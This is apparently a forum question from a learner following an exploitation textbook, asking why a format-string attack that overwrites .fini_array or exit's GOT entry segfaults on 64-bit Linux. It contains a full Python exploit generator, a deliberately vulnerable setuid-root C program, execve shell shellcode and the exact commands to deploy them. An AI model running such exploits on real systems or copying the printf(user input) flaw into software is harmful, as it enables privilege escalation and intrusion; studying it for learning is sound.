1

I am reading the book Hacking: The art of exploitation and there is a format string exploit example which attempts to overwrite an address of the dtors with the address of a shellcode environment variable. I work on Kali Linux 64-bit and already found out that there are no dtors (destructors of a c program) and so now I try to overwrite the fini_array or the address of exit in ".got.plt"(I thought this would also work with the partial relro. So not being able to write into got.plt is my biggest problem I seek to get help with). I already verified that the exploit writes the right address to the address given but when I run it with the address of fini_array or got.plt I get a SIGSEV. After reading this I think the problem is that the partial relro won't let me overwrite fini_array since it makes fini_array among many others readonly. This is the python program I use to exploit the vuln program:

import struct
import sys

num = 0
num1 = 0
num2 = 0
num3 = 0
test_val = 0

if len(sys.argv) > 1:
    num = int(sys.argv[1], 0)
    if len(sys.argv) > 2:
        test_val = int(sys.argv[2], 0)
        if len(sys.argv) > 3:
            num1 = int(sys.argv[3], 0)# - num
            if len(sys.argv) > 4:
                num2 = int(sys.argv[4], 0)# - num1 - num
                if len(sys.argv) > 5:
                    num3 = int(sys.argv[5], 0)# - num2 - num1 - num

addr1 = test_val+2
addr2 = test_val+4
addr3 = test_val+6


vals = sorted(((num, test_val), (num1, addr1), (num2, addr2), (num3, addr3)))

def pad(s):
    return s+"X"*(1024-len(s)-32)

exploit = ""
prev_val = 0
for val, addr in vals:
    if not val:
        continue
    val_here = val - prev_val
    prev_val = val
    exploit += "%{}x".format(val_here)
    if addr == test_val:
        exploit += "%132$hn"
    elif addr == addr1:
        exploit += "%133$hn"
    elif addr == addr2:
        exploit += "%134$hn"
    elif addr == addr3:
        exploit += "%135$hn"
exploit = pad(exploit)

exploit += struct.pack("Q", test_val)
exploit += struct.pack("Q", addr1)
exploit += struct.pack("Q", addr2)
exploit += struct.pack("Q", addr3)

print pad(exploit)

When I pass the address of the shellcode environment variable and the address of fini_array obtained with

objdump -s -j .fini_array ./vuln

I just get a SegmentationFault.

It is also very strange that this happens as well when I try to overwrite an address in the .got.plt section which actually should not be affected by partial relro which means I should be able to write to it but in reality I can't. Moreover "ld --verbose ./vuln" shows this:

.dynamic        : { *(.dynamic) }
  .got            : { *(.got) *(.igot) }
  . = DATA_SEGMENT_RELRO_END (SIZEOF (.got.plt) >= 24 ? 24 : 0, .);
  .got.plt        : { *(.got.plt) *(.igot.plt) }

This is proof that .got.plt should not be readonly but why can I not write to it then?

Now my question is which workaround (maybe some gcc options) I could use to solve my problem. Even if it was not possible to actually overwrite .fini_array why do I have the same problem with .got.plt and how can I resolve it?

Here is vuln.c:

include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
  char text[1024];
  static int test_val = -72;

  fgets(text, sizeof(text), stdin);

  printf("The right way to print user-controlled input:\n");
  printf("%s\n", text);

  printf("The wrong way to print user-controlled input:\n");
  printf(text);

  printf("\n");

  printf("[*] test_val @ %p = %d 0x%08x\n", &test_val, test_val, test_val);
  exit(0);
}

I compile vuln.c with gcc 9.2.1 like this:

gcc -g -o vuln vuln.c
sudo chown root:root ./vuln
sudo chmod u+s ./vuln

This is the shellcode:

\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05

I exported this as a binary into the SHELLCODE variable by copying the above hex into input.txt. Then run:

xxd -r -p input.txt output.bin

Now export it:

export SHELLCODE=$(cat output.bin)

The script getenv.c is used to get the address of Shellcode:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char const *argv[]) {
  char *ptr;

  if (argc < 3) {
    printf("Usage: %s <environment var> <target program name>\n", argv[0]);
    exit(0);
  }
  ptr = getenv(argv[1]);
  ptr += (strlen(argv[0]) - strlen(argv[2]))*2;
  printf("%s will be at %p\n", argv[1], ptr);
  return 0;
}

To use it run:

./getenvaddr SHELLCODE ./vuln

This tells you which address the SHELLCODE variable will have when you execute the vuln program. Last I find the address of the exit function in the global offset table by:

objdump -R ./vuln

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE 
0000000000003de8 R_X86_64_RELATIVE  *ABS*+0x0000000000001170
0000000000003df0 R_X86_64_RELATIVE  *ABS*+0x0000000000001130
0000000000004048 R_X86_64_RELATIVE  *ABS*+0x0000000000004048
0000000000003fd8 R_X86_64_GLOB_DAT  _ITM_deregisterTMCloneTable
0000000000003fe0 R_X86_64_GLOB_DAT  __libc_start_main@GLIBC_2.2.5
0000000000003fe8 R_X86_64_GLOB_DAT  __gmon_start__
0000000000003ff0 R_X86_64_GLOB_DAT  _ITM_registerTMCloneTable
0000000000003ff8 R_X86_64_GLOB_DAT  __cxa_finalize@GLIBC_2.2.5
0000000000004060 R_X86_64_COPY     stdin@@GLIBC_2.2.5
0000000000004018 R_X86_64_JUMP_SLOT  putchar@GLIBC_2.2.5
0000000000004020 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
0000000000004028 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5
0000000000004030 R_X86_64_JUMP_SLOT  fgets@GLIBC_2.2.5
0000000000004038 R_X86_64_JUMP_SLOT  exit@GLIBC_2.2.5

Here the address of exit would be 0x4038

Now I write the address of the shellcode let's say 0x7fffffffe5e5 to the address of the exit function 0x4038 so that the program should be redirected into a shell instead of exiting like this:

python pyscript.py 0xe5e5 0x4038 0xffff 0x7fff | ./vuln

This is the underlying principle:

python pyscript.py first_to_bytes_of_shellcode exit_address second_to_bytes_of_shellcode third_to_bytes_of_shellcode optional_fourth_to_bytes_of_shellcode | ./vuln
  • 1
    So, I don't know myself, but I think it would be very beneficial for anyone trying to answer if you actually include anything they can work with (shortest reproducible example), and outputs of commands you have tried, what you think those outputs have confirmed, backtrace from that SIGSEGV etc. – domen Feb 13 at 15:54
  • Additionally I suggest to edit your question to explain/expand some terms. What is relro, dtor? – guntbert Feb 13 at 17:31
  • I'm trying to follow this and reproduce it. What is "address of the shellcode env var", "address of fini_array", how does it fit into arguments passed to pyscript.py. Should there be a space inside 0x 7fff? Have you tried using a debugging? What are compiler flags used to compile and what is the version? – domen Feb 14 at 9:16
  • no there should not be a space. it should be 0x7fff – ht332932 Feb 14 at 13:19

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.